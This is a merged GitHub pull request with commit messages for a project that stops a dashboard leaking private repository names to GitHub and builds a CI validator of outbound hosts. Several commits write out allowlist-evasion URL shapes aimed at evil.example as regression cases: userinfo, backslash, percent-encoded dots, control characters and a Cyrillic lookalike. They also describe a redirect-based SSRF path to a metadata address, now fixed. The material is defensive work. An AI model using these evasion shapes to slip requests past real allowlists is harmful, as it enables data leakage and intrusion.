fix(privacy): stop leaking repo names to GitHub, and check the claim in CI - #108
Merged
Conversation
added 2 commits
July 25, 2026 11:44
…in CI Closes #100 and #101. The Projects panel fetched `api.github.com/repos/${project_key}` from the user's browser, and loaded `github.com/${owner}.png` as an <img> in two components. Each request put the name of a repository the user has checked out — private ones included — into a URL sent to a third party. The README said the opposite. It claimed avatars were "fetched server-side so your browser doesn't contact them directly", and listed api.github.com only under provider quota. Both were written by me earlier today, from an audit that grepped `src/` and never `dashboard/src/`. The avatar proxy that claim credits turns out to have no caller in the dashboard at all. Removed the enrichment rather than proxying it. Star counts and owner avatars are decoration on a panel about your own spending, and routing them through the local server would still send the repo name, just from a different process. The durable half is scripts/validate-outbound.cjs, wired into ci:local: - Scans host literals ANYWHERE in src/ and dashboard/src/, not inside fetch( calls. The leak that prompted this was an <img src>; a call-site scan reproduces the original blind spot in code. - Fails on a host the code can reach that outbound-hosts.json does not declare, on a declaration no code references, and on a user-data host missing from the README table. - Enforces seen_in, so a declared host may only be reached from the files that declare it. Without that, re-adding the exact #100 call would pass, because api.github.com is legitimately declared for the header star. - Rejects a fetch() whose target is built at runtime in a file that also names an external host — the hole a literal scan cannot see. It earned its keep on first run: it found `skills.sh`, a ninth host that two rounds of hand-searching had missed, and then that six of my hand-written seen_in lists were wrong. Those are now generated from the scan. The README table is rewritten from the inventory and names 21 hosts where it previously named 12. Also folded in, and called out rather than buried: four links still pointed at the upstream fork, including one `init.js` prints to every user on first run. Same defect class as the CONTRIBUTING clone URL fixed in #95. Two guards on the removal itself: the component tests now assert no remote image renders, and a source-level test asserts no absolute URL appears in ProjectUsagePanel — which fails if someone adds an <img> or <link> rather than a fetch.
`ignored_prefixes` took URL prefixes and `isIgnored()` reduced each to its host, so the entry `https://github.com/BerriAI` silently exempted every github.com reference in the tree. It was masked only because github.com is also declared, and checked first — remove that declaration and the guard would have gone quiet across a whole domain with nothing to say so. A field that looks narrow and is not is worse than no field, and this one is the validator's own escape hatch. Now `ignored_hosts`, matched on exact host, with the BerriAI entry dropped as redundant. Each remaining entry carries why it is safe; all five were re-verified rather than assumed — `local.tokentracker` is a synthetic project_ref in rollout.js that is never requested, and codex.ai, example.com and evil appear only inside comments. A test asserts a path-shaped entry cannot exempt its host.
This was referenced Jul 25, 2026
pitimon
added a commit
that referenced
this pull request
Jul 25, 2026
…109) * fix(validate): check where a host is REQUESTED, not merely mentioned An independent QA pass returned SHIP: NO on what #108 merged, and it was right on every point. All six were verified against source before being acted on. The validator did not catch the defect it was built for. Re-adding <img src={`https://github.com/${repoKey}.png`} /> to ProjectUsagePanel — the original leak, in the original file — passed with exit 0. The cause was structural: `seen_in` is file-level, and that file legitimately contains "https://github.com/" as a prefix it strips off project_ref. github.com was therefore in its declared set, and the rule could not tell a mention from a request. So the scan now produces two views. `seen_in` records every file that names a host, which is inventory. `request_from` records the files allowed to reach it, which is the constraint. Both variants of the original defect are now reported with file and line. Classification is default-deny: a host literal is a request target unless the line proves otherwise — a comment, string surgery on a stored value, an <a href> the user must click. The inverse was tried first and under-detected, because `const url = new URL("https://skills.sh/...")` and `fetch(url)` sit on different lines and no sink ever shares a line with that host. For a security control, missing a destination is worse than asking for one more declaration. Host matching also had to change. `img.src = `http://${token}-${i}.d.ip.net.coffee/pixel.gif`` is a real browser request in IpCheckPage, and the old pattern matched nothing when a host began with an interpolation — so that destination was invisible to the check that most needed to see it, while the inventory described ip.net.coffee as server-only. Interpolations are now collapsed and the literal suffix pinned, with a guard that returns nothing rather than invent a host when the expression runs past the match: `http://${req.headers.host || "localhost"}` was otherwise reported as a destination named req.headers.host. Two README rows were false, both written in #108: - raw.githubusercontent.com was described as the price list only; it also downloads the files of a skill you install, carrying owner, repo, branch and path. - The Skills row claimed it sends "your search terms, nothing else". Also: the Projects tab in DataDetails rendered an empty box with no message, which reads as "you spent nothing" rather than "nothing is attributed yet"; and HeaderGithubStar took the repository as a prop with a default, an API shaped to invite a caller to pass a user-derived value into a URL. Nothing passed one, so that is hardening. Closes #101 * fix(validate): close three evasions found by attacking the check The Codex QA gate could not run — the service returned 503 with `Too many concurrent requests` and a `biscuit_baker_service_me_circuit_open` auth error. Rather than wait, I ran the attacks I had written the gate's brief to ask for. Three of them worked. 1. Userinfo. `https://shared.example@evil.example/p.png` reaches evil.example, while the part that looks like a declared host is attacker-chosen decoration. Reading the left side reports a permitted host; refusing to parse hides the request. Now takes what the browser takes: everything after the last `@`. 2. Protocol-relative. `//evil.example/p.png` inherits the page's scheme and carries none for a `https?://` pattern to match, so it was invisible. Matched now, anchored to a quote or JSX brace so a `//` comment and a path like `a//b` are not mistaken for one. 3. Line-wide mention exemption. The mention test applied to the whole line, so putting the request beside an unrelated `.includes(` or `.replace(` silenced it — a one-character bypass of the check built to stop exactly that request. The test is now positional: only a URL that IS the argument of a string operation, or sits on a comment line, is a mention. Removing the line-wide rule also removed the anchor heuristics, and three real `<a href>` sites surfaced as requests. They are not guessed back: `link_from` declares, per host, the files where it is only ever a target the user clicks. Real links appear as `<a>` split across lines, as named constants used later, and as props threaded through components; every heuristic for those is a guess whose wrong answer exempts a real request. An inventory entry is a diff a reviewer has to approve, same weight as `request_from`. Seven attack shapes now caught, with legitimate mentions still silent — a check that flags prose is a check someone turns off. All seven are regression tests rather than a script I ran once. * fix(validate): a backslash ends the authority, and a trailing dot is a host Both found by probing literalHost as a URL parser rather than as a regex, on the advisor's specific suggestion — neither was in the seven attack shapes I had written myself. `https://evil.example\\@github.com/p.png` reaches evil.example; WHATWG URL parsing treats a backslash as a slash. Splitting the authority on "/" alone resolved it to `github.com` — a DECLARED host. That is worse than a miss: where the file holds permission for github.com, the check reads green while the request leaves for somewhere else. The Host-header guard in issue 88 ate the same assumption. `https://github.com./p.png` is a valid absolute FQDN that resolves the same. The hostname shape test rejected the trailing dot and returned null, so the request was invisible rather than reported. * fix(privacy): the README was certifying a false sentence Independent Fable review (`claude-fable-5`), standing in for Codex while its service is circuit-open. Verdict `correct-but-incomplete`, SHIP: NO. Every finding acted on here was reproduced first. README:147 said TokenTracker "reaches these hosts and no others". The IP-check page's WebRTC leak test sends STUN binding requests to stun.l.google.com and stun.cloudflare.com from the user's browser, disclosing their IP — the only place the dashboard talks to Google. Neither host was declared, neither was in the table, and the validator could not see them: `stun:` carries no `//` and appears in no https literal. So ci:local printed "all reachable ones accounted for" while certifying a false claim. Both are now declared and in the table, and the scheme grammar covers stun/turn/ws. The second hole is the same root cause as the previous three: the scanner reads SOURCE TEXT, the runtime reads the DECODED string, and WHATWG then strips tab/LF/CR. fetch("https://api.github.com\t.evil.example/x") is api.github.com.evil.example at runtime. Splitting the source on the backslash gave api.github.com — declared AND permitted — so the check read green while the request left for the attacker. Escapes are now decoded and control characters removed before parsing. Also from that review: - Interpolated suffixes pinned off a label boundary: `${sub}github.com` can resolve to the registrable evilgithub.com. A pin now requires a dot boundary and a real zone, not a bare TLD. - Scheme matching is case-insensitive, anchored so `arn:aws:bedrock:` is not read as a host called bedrock. - github.com moved out of request_from: skills-manager builds those URLs for the UI and fetches api.github.com and raw.githubusercontent.com instead. - New `data_from` category. A mock fixture's project_ref is neither a link nor a request, and without a category it landed on link_from — an unconditional waiver that would pass any future request from that file. And the one that explains a day of confusion: src/lib/skills-manager.js carried two raw U+0000 bytes inside what were meant to be `\0` escapes. Runtime-identical, but a raw NUL flips a file to "binary" for grep and ripgrep, which then report nothing and exit as though they had searched it. Three separate greps during this work came back empty while the content was plainly there — in the one file that does the server-side GitHub traffic. The validator reads with Node and was never fooled; people were. A test now fails on a raw NUL anywhere in src/, dashboard/src/ or scripts/. Refs #101 * fix(validate): percent-encoding in the authority could borrow a permitted host Found by probing the parser while the QA gate ran, in the same class the gate's brief asks it to attack. fetch("https://api.github.com%2eevil.example/x") resolves to api.github.com.evil.example — a percent-decoded dot is a valid host character. Verify with node -e 'console.log(new URL("https://a.example%2eevil.example/").host)' The hostname shape test rejected the `%` and returned null, so the request was dropped and the check read green while it left for the attacker. %09 and %40 are not exploitable the same way: the runtime rejects both as invalid URLs. This is the fifth instance of one root cause — the scanner parses source text, the runtime parses the decoded string — now one encoding layer further out than the \t splice. * fix(validate): stop hand-parsing URLs; use the parser the runtime uses Codex QA returned SHIP: NO with a CRITICAL, and it was right. fetch("https://аapi.github.com/x") // first а is Cyrillic resolved to `api.github.com` — declared AND permitted — while the runtime goes to xn--api-5cd.github.com. The strip that did it, `replace(/^[^a-zA-Z0-9]+/, "")`, existed to clean up an interpolated suffix and silently removed the lookalike character instead. Green while it leaks, which is the failure mode worse than a miss. That is the sixth round of hand-rolled parsing failing the same way: the scanner modelled the URL more narrowly than the runtime does. Userinfo, backslash-as-slash, control-character stripping, percent-decoding, a trailing dot, case folding, an ideographic full stop, a lookalike prefix — each was its own patch, and each time something else was already waiting. So the runtime's parser decides now. `new URL()` implements WHATWG, which is what the browser and undici follow: it punycodes IDN, normalises the dot variants, applies the backslash and userinfo rules, and rejects what is not a URL. Hand-parsing is reached only when interpolation makes a literal URL impossible to construct — and that path pins a zone only on a dot boundary with two or more labels. Three defects surfaced while making that change, all now tested: - Interpolation in the PATH was treated as an unresolvable authority, so `https://evil.example/${owner}.png` — the commonest shape, and the exact shape of the original leak — resolved to nothing. Silent miss. - A regex literal stripping a URL prefix (`/^https:\/\/github\.com\//`) was read as a URL. The `/^` sat between `replace(` and the match, hiding the string surgery, and the escaped slashes resolved to a bare `github`: a demand to declare a host that does not exist. Comments and string surgery are now filtered from the inventory as well as from the request set, since a prefix being stripped is not a destination this code can reach. - Percent-decoding invented hosts from `%09` and `%40`, which the runtime rejects outright. Deferring to `new URL()` removes that noise. Refs #101 * chore(validate): drop percentDecode, made redundant by the URL parser Defined and never called after host resolution moved to new URL(), which decodes %2e itself — confirmed by the probe that motivated adding it. Dead code in a security control is a review liability: a reader has to work out whether it is load-bearing. * fix(security): the avatar proxy followed redirects off its own allowlist Found by the Codex QA gate. Pre-existing, not introduced by this branch, but it is the same class the branch is about and it is two lines from the code being changed. src/lib/local-api.js checked the requested host against an avatar-CDN allowlist, then called fetch with redirect: "follow". `fetch` validates nothing after the first request, so an allowlisted CDN issuing a redirect — or anyone able to place one there — turned this loopback server into a way to reach 169.254.169.254, another service on 127.0.0.1, or any internal address. The endpoint is reachable from any page the user has open, since it is a plain GET on a known local port. Redirects are now followed by hand, with the host re-checked at every hop, a non-http(s) scheme refused, and a three-hop ceiling. A blocked redirect answers 403 rather than a generic upstream error, so the reason is legible. Five tests, driven through an injected fetch: the metadata-service redirect is refused AND never requested, an in-allowlist redirect still works, a relative Location resolves against the current URL rather than being assumed safe, file:// and data: are refused, and a redirect loop terminates. The helper is exported because the defect only exists across a hop, which no handler-level test reaches. * fix(security): the avatar allowlist checked the host but not the port `gravatar.com:8443` satisfies a hostname allowlist while pointing at a different service, so the address allowlist could be walked across ports — at the entry point and at every redirect hop, neither of which looked at `port`. Verified: under the old predicate `https://gravatar.com:8443/x` returned hostOk=true. The entry point and the hop check were also two separate copies of the same predicate, which is how the redirect gap survived the first fix. They are now one function, `isAllowedAvatarTarget(url, allowlist)`, checking scheme, host and port together. An empty `port` is the scheme default (443/80) and is the only value permitted; `new URL` normalises an explicit `:443` to empty, so writing the default out is still accepted. Three regression tests: a non-default port is refused and never requested (https, http, and protocol-relative), the default port still works written either way, and the entry-point guard and the hop guard agree on the same set of targets. No live caller is affected — the browser-side avatar loads were removed earlier in this branch, so the endpoint currently has no consumer. ci:local exit 0: 883 root tests, 256 dashboard. * test: name the address-guard test for what it actually asserts It was called "the entry-point guard and the redirect guard are the same check", but it calls isAllowedAvatarTarget directly and never reaches the handler — delete the handler's call and it would still pass. It pins the predicate's target set; that both sites use it is a property of the source (local-api.js:879 and :60), so the comment says that instead of the name claiming it. --------- Co-authored-by: itarun.p <itarun.p@somapait.com>
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
1 participant
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Closes #100 and #101. Shipped together because the guard's only proof that it works is that it catches the defect.
The defect
The Projects panel fetched
api.github.com/repos/${project_key}from the user's browser, and two components loadedgithub.com/${owner}.pngas an<img>. Each put the name of a repository the user has checked out — private ones included — into a URL sent to a third party.The README said the opposite, in wording I wrote earlier today in #95:
That audit grepped
src/and neverdashboard/src/. Both offending files live there. The avatar proxy the claim credits turns out to have no caller in the dashboard at all.Fixed by removal, not by proxying. Star counts and owner avatars are decoration on a panel about your own spending, and routing them through the local server would still send the repo name — just from a different process.
Deliberately not uniform
The survey turned one fetch into six disclosure sites with different risk. Treating them alike would be theatre in one direction or a shrug in the other:
ProjectUsagePanelfetch + avatar,DataDetailsavatarHeaderGithubStaropen.er-api.com, IP-check probes (1.1.1.1,claude.ai,www.anthropic.com)The guard
scripts/validate-outbound.cjs, wired intoci:local:src/anddashboard/src/— not insidefetch(calls. The leak here was an<img src>; a call-site scan would reproduce the original blind spot in code.user_datahost missing from the README table.seen_in— a declared host may only be reached from the files that declare it. Without this, re-adding the exact privacy: the dashboard sends your repo names to GitHub from the browser #100 call would pass, sinceapi.github.comis legitimately declared for the header star. I only found this gap by running the negative control and watching the validator stay green while the source test went red.fetch()built at runtime in a file that also names an external host — the hole a literal scan cannot see. A first version flagged the local API modules too; a rule that cries wolf gets deleted, so it was narrowed.It earned its keep on the first run
skills.sh(skills-manager.js:948) — a ninth host that two rounds of hand-searching by me had missed.seen_inlists were wrong. They are now generated from the scan.The README table is rewritten from the inventory and names 21 hosts where it previously named 12.
Also folded in — called out, not buried
Four links still pointed at the upstream fork
mm7894215, including onesrc/commands/init.jsprints to every user on first run. Same defect class as the CONTRIBUTING clone URL fixed in #95.Test plan
npm run ci:local— exit 0, 853/853 root (+12), 255 dashboard<img src>to a new host outside anyfetch(→ validator red; reverted → greenseen_inrule and by the source-level testsplitRepoKeyreference I removed by accident was caught by the component tests — the Vite build stayed green, which is the recorded reason dashboard tests are inci:local